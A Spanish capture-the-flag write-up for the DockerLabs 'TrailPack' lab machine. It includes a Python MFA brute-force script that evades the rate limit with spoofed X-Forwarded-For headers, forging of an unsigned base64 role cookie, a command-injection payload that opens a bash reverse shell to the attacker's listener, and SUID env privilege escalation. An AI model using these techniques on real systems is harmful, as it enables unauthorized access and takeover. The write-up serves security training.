> For the complete documentation index, see [llms.txt](https://dark0547.gitbook.io/tdlc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dark0547.gitbook.io/tdlc/writeups/dockerlabs/medio/trailpack.md).

# TrailPack

## Reconocimiento

> Iniciamos realizando un reconocimiento a la maquina para verificar los puertos que tiene abiertos.

```bash
nmap -p- --open -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN results
```

<figure><img src="/files/mfluuxcYxJgGYndj5s5S" alt=""><figcaption></figcaption></figure>

> Vemos que nos encuentra un puerto que al parecer es una pagina web, vamos a revisar con **whatweb** a ver que mas nos da

```bash
whatweb http://172.17.0.2:8000/
```

> Y esto nos regresa

```
http://172.17.0.2:8000/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[uvicorn], IP[172.17.0.2], Script, Title[TrailPack — Mochilas de montaña, senderismo y viaje]
```

> Procedo a entrar a la pagina web para revisar su contenido pero no encuentro nada en su código fuente de la pagina principal, así que rápidamente realizo fuzzing para encontrar directorios ocultos

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://172.17.0.2:8000/FUZZ -t 200 -c
```

> El fuzzing me regreso las siguientes rutas:

```
/login
/register
/dashboard
/accounting
```

***

## Explotacion

### BruteForce MFA Code

> Así que empiezo a revisar las rutas, pero no encuentro nada en `login` y `register` y para las otras 2 rutas necesito estar autenticado, así que me creo una cuenta con los siguientes datos:

```
Nombre Completo: Dark0547
Correo Electronico: dark0547@darklegion.xyz
NIF/DNI: 0547
Contraseña: dark0547
```

> Y intento iniciar sesión para entrar al panel pero me pide un código MFA, el cual si lo escribo mal 4 veces, el servidor me bloquea por 1 minuto

<figure><img src="/files/PJR0q3d4YizZl3WF79pB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2GUT5QDQLbYxZXvtRUlo" alt=""><figcaption></figcaption></figure>

> Decido abrir **BurpSuite** para interceptar la petición del código MFA y ver si es posible bypassearlo, revisando veo que es posible poner la cabecera **X-Forwarded-For** introduciendo cualquier valor, con lo cual podemos reiniciar el limite de intentos para cada petición y así lograr hacer un Brute Force. Una vez sabiendo esto decido crear un script en python para realizar fuerza bruta y probrar codigos desde el 0000 hasta el 9999

```python
#!/usr/bin/env python3

import requests
import argparse
import random
from termcolor import colored

def get_arguments():
    parser = argparse.ArgumentParser(description='BruteForce MFA Code')
    parser.add_argument('-d', '--dni', required=True, dest='dni', help='User DNI')
    parser.add_argument('-p', '--password', required=True, dest='password', help='User Password')
    parser.add_argument('-sid', '--session-password', required=True, dest='session_id', help='Session ID User')
    
    arguments = parser.parse_args()
    return arguments

def bruteforce(dni, password, session_id):
    main_url = "http://172.17.0.2:8000/verify-mfa"

    for i in range(0, 9999):
        codigo = f"{i:04}"
        data = {
            "dni": dni,
            "password": password,
            "pin": int(codigo)
        }

        cookies = {
            "session_id": session_id
        }

        headers = {
            "X-Forwarded-For": codigo
        }

        r = requests.post(main_url, cookies=cookies, data=data, headers=headers)

        if not "Intentos restantes" in r.text:
            print(colored(f"[+] Codigo encontrado: {codigo}", "green"))
            print(colored("[+] Cookie autenticada, http://172.17.0.2:8000/dashboard/", "blue"))
            break

def main():
    arguments = get_arguments()
    bruteforce(arguments.dni, arguments.password, arguments.session_id)

if __name__ == '__main__':
    main()
```

> Para usar el script seria de la siguiente manera:
>
> El session\_id lo encuentras en el apartado de **Almacenamiento -> Cookies** del DevTools

```bash
python3 bruteforce_mfa_code.py -d <dni> -p <user_password> -sid <session_id>
```

> Y una vez el script haga la fuerza bruta nos saldra el siguiente mensaje
>
> PD: debes de ingresar a la ruta **/dashboard** para autenticarte

<figure><img src="/files/F6knf9oMUDKwDVjKSM5x" alt=""><figcaption></figcaption></figure>

> Por lo que ingresando a la ruta `http://172.17.0.2:8000/dashboard` nos debería de dejar ingresar sin problema

### Cookie sin firma

> Ahora, revisando en la pagina nos encontraremos con un input el cual se llama "Atención al cliente" en donde puedes enviar tus quejas y otras cosas (nos ayudara mas tarde), si tratamos de ingresar a la ruta `accounting` nos pone un mensaje de error `No tienes permiso para acceder a esa sección.`, revisando el codigo fuente me encuentro con lo siguiente:

```javascript
<script>
  fetch('/api/me')
    .then(r => r.json())
    .then(data => {
      // Actualizar nombre mostrado
      const el = document.getElementById('display-name');
      if (el && data.user) el.textContent = data.user;

      // Escribir rol en cookie (se propaga al backend para /accounting)
      const payload = { user: data.user, role: data.role, email: data.email };
      document.cookie = 'user_info=' + btoa(JSON.stringify(payload)) + '; path=/; SameSite=Lax';

      // Mostrar enlace de admin solo si rol es admin (validación frontend)
      if (data.role === 'admin') {
        const link = document.getElementById('admin-panel-link');
        if (link) link.classList.replace('hidden', 'flex');
      }
    })
    .catch(() => {});
</script>
```

> Al parecer es posible realizar un bypass para poder acceder a rutas privilegiadas, así que nuevamente con **BurpSuite** intercepto la petición y me encuentro lo siguiente:

```bash
GET /accounting HTTP/1.1
Host: 172.17.0.2:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session_id=14cf1e669ac5e175b55f0af9518dd03b949e504e538470408d0974090b1b835f; user_info=eyJ1c2VyIjoiRGFyazA1NDciLCJyb2xlIjoidXNlciIsImVtYWlsIjoiZGFyazA1NDdAZGFya2xlZ2lvbi54eXoifQ==
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

> El servidor envía mi información en base64 al parecer, si descifro el `user_info` esto es lo que me da:

```bash
{"user":"Dark0547","role":"user","email":"dark0547@darklegion.xyz"}
```

> Entonces, si trato de cambiar el valor del campo "role"en el `user_info` por admin es posible que me deje ingresar a la pagina ya que no realiza ninguna verificación en el backend

```bash
echo -n '{"user":"Dark0547","role":"admin","email":"dark0547@darklegion.xyz"}' | base64 -w0; echo

Salida: eyJ1c2VyIjoiRGFyazA1NDciLCJyb2xlIjoidXNlciIsImVtYWlsIjoiZGFyazA1NDdAZGFya2xlZ2lvbi54eXoifQ==
```

> Lo cambiamos y cambiamos la cadena base64 que se va a enviar por burpsuite por la nuestra modificada

```bash
GET /accounting HTTP/1.1
Host: 172.17.0.2:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session_id=14cf1e669ac5e175b55f0af9518dd03b949e504e538470408d0974090b1b835f; user_info=eyJ1c2VyIjoiRGFyazA1NDciLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6ImRhcmswNTQ3QGRhcmtsZWdpb24ueHl6In0=
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

> Y realizando esto vemos que nos deja acceder al panel obteniendo una flag y el acceso al registro de clientes

<figure><img src="/files/eJA2YhaLjWx8CLu2PD5O" alt=""><figcaption></figcaption></figure>

### Command Injection

> Ahora, vamos hacer uso de del buzón de quejas el cual tiene como comentario lo siguiente:

```html
    <!-- Quejas / Soporte (VULN-4: Command Injection) -->
    <div class="bg-white rounded-2xl border border-stone-200 p-5">
        <h2 class="font-semibold text-stone-800 mb-1">Atención al cliente</h2>
        <p class="text-stone-500 text-sm mb-4">
          ¿Tienes algún problema con tu pedido o producto?
          Indícanos el número de pedido y una breve descripción.
        </p>

        <form method="POST" action="/quejas" class="flex gap-3">
          <input type="text" name="queja" required
                 placeholder="Nº pedido o descripción del problema"
                 class="flex-1 bg-stone-50 border border-stone-200 rounded-xl px-4 py-2.5
                        text-stone-800 text-sm focus:outline-none focus:ring-2 focus:ring-green-600
                        focus:border-transparent transition placeholder-stone-400">
          <button type="submit"
                  class="bg-green-700 hover:bg-green-800 text-white px-5 py-2.5 rounded-xl
                         text-sm font-medium transition-colors whitespace-nowrap shadow-sm">
            Enviar queja
          </button>
        </form>
      </div>
```

> Nos permite inyectar comandos dentro del servidor, así que vamos a testearlo y ver que nos devuelve

<figure><img src="/files/thqlbAyIndun0j0C2xwt" alt=""><figcaption></figcaption></figure>

## Intrusion

> Escapando comandos con punto y coma nos es posible realizar una ejecución de comandos, al intentar darme una **ReverseShell** utilizando el comando `hola;bash -i >& /dev/tcp/172.17.0.1/443 0>&1` me da error y no es posible entablar la conexión, así que una forma puede ser mandar la linea encodeada en base64 y cuando llega al servidor decodeamos y ejecutamos para obtener la **ReverShell**

#### Creacion de la ReverseShell

```bash
echo "bash -i >& /dev/tcp/172.17.0.1/443 0>&1" | base64 -w0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0MyAwPiYxCg==
```

#### En escucha y enviamos al servidor

> Nos ponemos en escucha por el puerto 443 en nuestra maquina atacante con `sudo nc -nlvp 443` y mandamos esto al servidor `hola;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0MyAwPiYxCg==|base64 -d|bash`

<figure><img src="/files/KC3EQlignoCVsZfdzxkP" alt=""><figcaption></figcaption></figure>

> Y de esta forma obtenemos una ReverseShell en la maquina

### Escalada de privilegios y tratamiento de la TTY

> Hacemos un tratamiento de la TTY para para trabajar de forma comoda

```bash
script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset xterm
stty size # Ajustar el total de filas y columnas (solo vemos las actuales, hay que ver las de nuestra maquina)
stty rows 42 columns 167
export TERM=xterm
```

> Empezamos a enumerar el sistema y empiezo a buscar archivos SUID ya que el comando `sudo -l`

```bash
balutron@b43fe6b3bc1d:/app$ find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/env
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/umount
```

> Y nos reporta que el binario `/usr/bin/env` esta disponible para explotarlo, nos damos una shell como usuario root de la siguiente forma:

```bash
/usr/bin/env /bin/bash -p
```

<figure><img src="/files/V9Mdi9gZXVnR1Djfeuna" alt=""><figcaption></figcaption></figure>

> Y así obtendríamos acceso a la maquina como root
